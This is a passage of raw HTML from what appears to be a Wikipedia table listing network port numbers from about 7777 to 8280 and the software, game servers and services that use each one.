href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Windows backdoor program tini.exe default<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>Just Cause 2: Multiplayer Mod</i> Server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (December 2013)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Terraria\" title=\"Terraria\">Terraria</a></i> default server\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>San Andreas Multiplayer</i> (SA-MP) default port server\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>SCP: Secret Laboratory</i> Multiplayer Server\n</td></tr>\n<tr>\n<td>7777–7788</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Unreal Tournament</i> series default server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7831</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default used by Smartlaunch Internet Cafe Administration<sup id=\"cite_ref-276\" class=\"reference\"><a href=\"#cite_note-276\">&#91;274&#93;</a></sup> software\n</td></tr>\n<tr>\n<td>7880</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>PowerSchool Gradebook Server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7890</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default that will be used by the iControl Internet Cafe Suite Administration software\n</td></tr>\n<tr>\n<td>7915</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for YSFlight server<sup id=\"cite_ref-Midnight_Rambler_277-0\" class=\"reference\"><a href=\"#cite_note-Midnight_Rambler-277\">&#91;275&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7935</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Fixed port used for Adobe Flash Debug Player to communicate with a debugger (Flash IDE, Flex Builder or fdb).<sup id=\"cite_ref-278\" class=\"reference\"><a href=\"#cite_note-278\">&#91;276&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7946</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Docker Swarm communication among nodes<sup id=\"cite_ref-docker-swarm-tutorial_166-1\" class=\"reference\"><a href=\"#cite_note-docker-swarm-tutorial-166\">&#91;164&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7979</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Used by SilverBluff Studios for communication between servers and clients.<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2021)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7990</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Atlassian <a href=\"/wiki/Bitbucket\" title=\"Bitbucket\">Bitbucket</a> (default port)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (January 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"4\">8000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Commonly used for Internet radio streams such as <a href=\"/wiki/SHOUTcast\" class=\"mw-redirect\" title=\"SHOUTcast\">SHOUTcast</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (September 2016)\">citation needed</span></a></i>&#93;</sup>, <a href=\"/wiki/Icecast\" title=\"Icecast\">Icecast</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (September 2016)\">citation needed</span></a></i>&#93;</sup> and <a href=\"/wiki/ITunes_Radio\" title=\"ITunes Radio\">iTunes Radio</a><sup id=\"cite_ref-apple-kb-HT202944_11-71\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DynamoDB\" class=\"mw-redirect\" title=\"DynamoDB\">DynamoDB</a> Local<sup id=\"cite_ref-aws-docs-dynamodb-developer-local_279-0\" class=\"reference\"><a href=\"#cite_note-aws-docs-dynamodb-developer-local-279\">&#91;277&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Django_(web_framework)\" title=\"Django (web framework)\">Django</a> Development Webserver<sup id=\"cite_ref-django-docs-1.10-tutorial01_280-0\" class=\"reference\"><a href=\"#cite_note-django-docs-1.10-tutorial01-280\">&#91;278&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Python_3\" class=\"mw-redirect\" title=\"Python 3\">Python 3</a> http.server<sup id=\"cite_ref-281\" class=\"reference\"><a href=\"#cite_note-281\">&#91;279&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">8005\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Tomcat\" title=\"Apache Tomcat\">Tomcat</a> remote shutdown<sup id=\"cite_ref-apple-kb-HT202944_11-72\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PLATO_(computer_system)\" title=\"PLATO (computer system)\">PLATO</a> ASCII protocol (RFC 600)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Windows SCCM HTTP listener service<sup id=\"cite_ref-282\" class=\"reference\"><a href=\"#cite_note-282\">&#91;280&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">8006\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Quest_AppAssure\" class=\"mw-redirect\" title=\"Quest AppAssure\">Quest AppAssure</a> 5 API<sup id=\"cite_ref-appassure-kb-firewall-port_283-0\" class=\"reference\"><a href=\"#cite_note-appassure-kb-firewall-port-283\">&#91;281&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Proxmox_Virtual_Environment\" title=\"Proxmox Virtual Environment\">Proxmox Virtual Environment</a> admin web interface<sup id=\"cite_ref-284\" class=\"reference\"><a href=\"#cite_note-284\">&#91;282&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8007</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Quest AppAssure 5 Engine<sup id=\"cite_ref-appassure-kb-firewall-port_283-1\" class=\"reference\"><a href=\"#cite_note-appassure-kb-firewall-port-283\">&#91;281&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8007</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Proxmox_Backup_Server\" title=\"Proxmox Backup Server\">Proxmox Backup Server</a> admin web interface\n</td></tr>\n<tr>\n<td rowspan=\"4\">8008\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Alternative port for <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a>. See also ports 80 and 8080.\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_HTTP_Server\" title=\"IBM HTTP Server\">IBM HTTP Server</a> administration default<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:What_Wikipedia_is_not#Encyclopedic_content\" title=\"Wikipedia:What Wikipedia is not\"><span title=\"The material preceding this tag may lack sufficient importance. (February 2017)\">importance?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ICal\" class=\"mw-redirect\" title=\"ICal\">iCal</a>, a calendar application by <a href=\"/wiki/Apple,_Inc.\" class=\"mw-redirect\" title=\"Apple, Inc.\">Apple</a><sup id=\"cite_ref-apple-kb-HT202944_11-73\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Matrix_(protocol)\" title=\"Matrix (protocol)\">Matrix</a> homeserver federation over HTTP<sup id=\"cite_ref-matrix-homeserver_285-0\" class=\"reference\"><a href=\"#cite_note-matrix-homeserver-285\">&#91;283&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8009</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_JServ_Protocol\" title=\"Apache JServ Protocol\">Apache JServ Protocol</a> (<code>ajp13</code>)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (February 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8010</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Buildbot\" title=\"Buildbot\">Buildbot</a> web status page<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8042</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Orthanc_(software)\" class=\"mw-redirect\" title=\"Orthanc (software)\">Orthanc</a> – REST API over HTTP<sup id=\"cite_ref-orthanc-book-configuration_206-1\" class=\"reference\"><a href=\"#cite_note-orthanc-book-configuration-206\">&#91;204&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8069</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenERP\" class=\"mw-redirect\" title=\"OpenERP\">OpenERP</a> 5.0 XML-RPC protocol<sup id=\"cite_ref-odoo-doc-5.0-install-linux-web_286-0\" class=\"reference\"><a href=\"#cite_note-odoo-doc-5.0-install-linux-web-286\">&#91;284&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8070</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>OpenERP 5.0 NET-RPC protocol<sup id=\"cite_ref-odoo-doc-5.0-install-linux-web_286-1\" class=\"reference\"><a href=\"#cite_note-odoo-doc-5.0-install-linux-web-286\">&#91;284&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8074</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gadu-Gadu\" title=\"Gadu-Gadu\">Gadu-Gadu</a>\n</td></tr>\n<tr>\n<td>8075</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>Killing Floor</i> web administration interface<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (February 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">8080\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Alternative port for <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a>. See also ports 80 and 8008.\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Tomcat\" title=\"Apache Tomcat\">Apache Tomcat</a><sup id=\"cite_ref-287\" class=\"reference\"><a href=\"#cite_note-287\">&#91;285&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Jira_(software)\" title=\"Jira (software)\">Atlassian JIRA</a> applications<sup id=\"cite_ref-atlassian-jira-071-tcp-ports_288-0\" class=\"reference\"><a href=\"#cite_note-atlassian-jira-071-tcp-ports-288\">&#91;286&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8081</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Sun Proxy Admin Service<sup id=\"cite_ref-289\" class=\"reference\"><a href=\"#cite_note-289\">&#91;287&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8088</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Asterisk_(PBX)\" title=\"Asterisk (PBX)\">Asterisk</a> management access via HTTP<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (February 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">8089\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Splunk\" title=\"Splunk\">Splunk</a> daemon management<sup id=\"cite_ref-290\" class=\"reference\"><a href=\"#cite_note-290\">&#91;288&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Fritz!Box\" title=\"Fritz!Box\">Fritz!Box</a> automatic <a href=\"/wiki/TR-069\" title=\"TR-069\">TR-069</a> configuration<sup id=\"cite_ref-avm-fritzbox-7490-port-8089_291-0\" class=\"reference\"><a href=\"#cite_note-avm-fritzbox-7490-port-8089-291\">&#91;289&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">8090\n</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Atlassian_Confluence\" class=\"mw-redirect\" title=\"Atlassian Confluence\">Atlassian Confluence</a><sup id=\"cite_ref-atlassian-confluence-6.0-doc-listen-port_292-0\" class=\"reference\"><a href=\"#cite_note-atlassian-confluence-6.0-doc-listen-port-292\">&#91;290&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Coral Content Distribution Network (legacy; 80 and 8080 now supported)<sup id=\"cite_ref-coralcdn-wiki-faq_293-0\" class=\"reference\"><a href=\"#cite_note-coralcdn-wiki-faq-293\">&#91;291&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Matrix identity server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (May 2019)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>8091</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CouchBase\" class=\"mw-redirect\" title=\"CouchBase\">CouchBase</a> web administration<sup id=\"cite_ref-couchbase-dev-doc-server-ports_294-0\" class=\"reference\"><a href=\"#cite_note-couchbase-dev-doc-server-ports-294\">&#91;292&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8092</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>CouchBase API<sup id=\"cite_ref-couchbase-dev-doc-server-ports_294-1\" class=\"reference\"><a href=\"#cite_note-couchbase-dev-doc-server-ports-294\">&#91;292&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8096</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td><a href=\"/wiki/Emby\" title=\"Emby\">Emby</a> and <a href=\"/wiki/Jellyfin\" title=\"Jellyfin\">Jellyfin</a> HTTP port<sup id=\"cite_ref-:1_295-0\" class=\"reference\"><a href=\"#cite_note-:1-295\">&#91;293&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8111</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/JOSM\" title=\"JOSM\">JOSM</a> Remote Control\n</td></tr>\n<tr>\n<td>8112</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>PAC Pacifica Coin\n</td></tr>\n<tr>\n<td>8116</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Check_Point\" title=\"Check Point\">Check Point</a> Cluster Control Protocol\n</td></tr>\n<tr>\n<td>8118</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Privoxy\" title=\"Privoxy\">Privoxy</a>—advertisement-filtering Web proxy\n</td></tr>\n<tr>\n<td rowspan=\"3\">8123\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Polipo\" title=\"Polipo\">Polipo</a> Web proxy\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Home_Assistant\" title=\"Home Assistant\">Home Assistant</a> Home automation\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>BURST P2P<sup id=\"cite_ref-BURST_296-0\" class=\"reference\"><a href=\"#cite_note-BURST-296\">&#91;294&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8124</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Standard BURST Mining Pool Software Port\n</td></tr>\n<tr>\n<td>8125</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>BURST Web Interface\n</td></tr>\n<tr>\n<td>8139</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Puppet_(software)\" title=\"Puppet (software)\">Puppet (software)</a> Client agent\n</td></tr>\n<tr>\n<td>8140</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Puppet (software) Master server\n</td></tr>\n<tr>\n<td>8172</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a> Remote Administration for IIS Manager<sup id=\"cite_ref-297\" class=\"reference\"><a href=\"#cite_note-297\">&#91;295&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8184</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NCSA_Brown_Dog\" title=\"NCSA Brown Dog\">NCSA Brown Dog</a> Data Access Proxy\n</td></tr>\n<tr>\n<td>8194–8195</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bloomberg_Terminal\" title=\"Bloomberg Terminal\">Bloomberg Terminal</a><sup id=\"cite_ref-Bloomberg_TS_298-0\" class=\"reference\"><a href=\"#cite_note-Bloomberg_TS-298\">&#91;296&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">8200\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GoToMyPC\" title=\"GoToMyPC\">GoToMyPC</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MiniDLNA media server Web Interface\n</td></tr>\n<tr>\n<td>8222</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VMware\" title=\"VMware\">VMware</a> VI Web Access via HTTP<sup id=\"cite_ref-vmware-server-2.0-rc2-releasenotes_299-0\" class=\"reference\"><a href=\"#cite_note-vmware-server-2.0-rc2-releasenotes-299\">&#91;297&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8243</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/HTTPS\" title=\"HTTPS\">HTTPS</a> listener for <a href=\"/wiki/Apache_Synapse\" title=\"Apache Synapse\">Apache Synapse</a><sup id=\"cite_ref-Apache_Synapse_300-0\" class=\"reference\"><a href=\"#cite_note-Apache_Synapse-300\">&#91;298&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8245</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Dynamic_DNS\" title=\"Dynamic DNS\">Dynamic DNS</a> for at least <a href=\"/wiki/No-IP\" title=\"No-IP\">No-IP</a> and DynDNS<sup id=\"cite_ref-DynDNS_API_301-0\" class=\"reference\"><a href=\"#cite_note-DynDNS_API-301\">&#91;299&#93;</a></sup>\n</td></tr>\n<tr>\n<td>8280</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a> listener for <a href=\"/wiki/Apache_Synapse\" 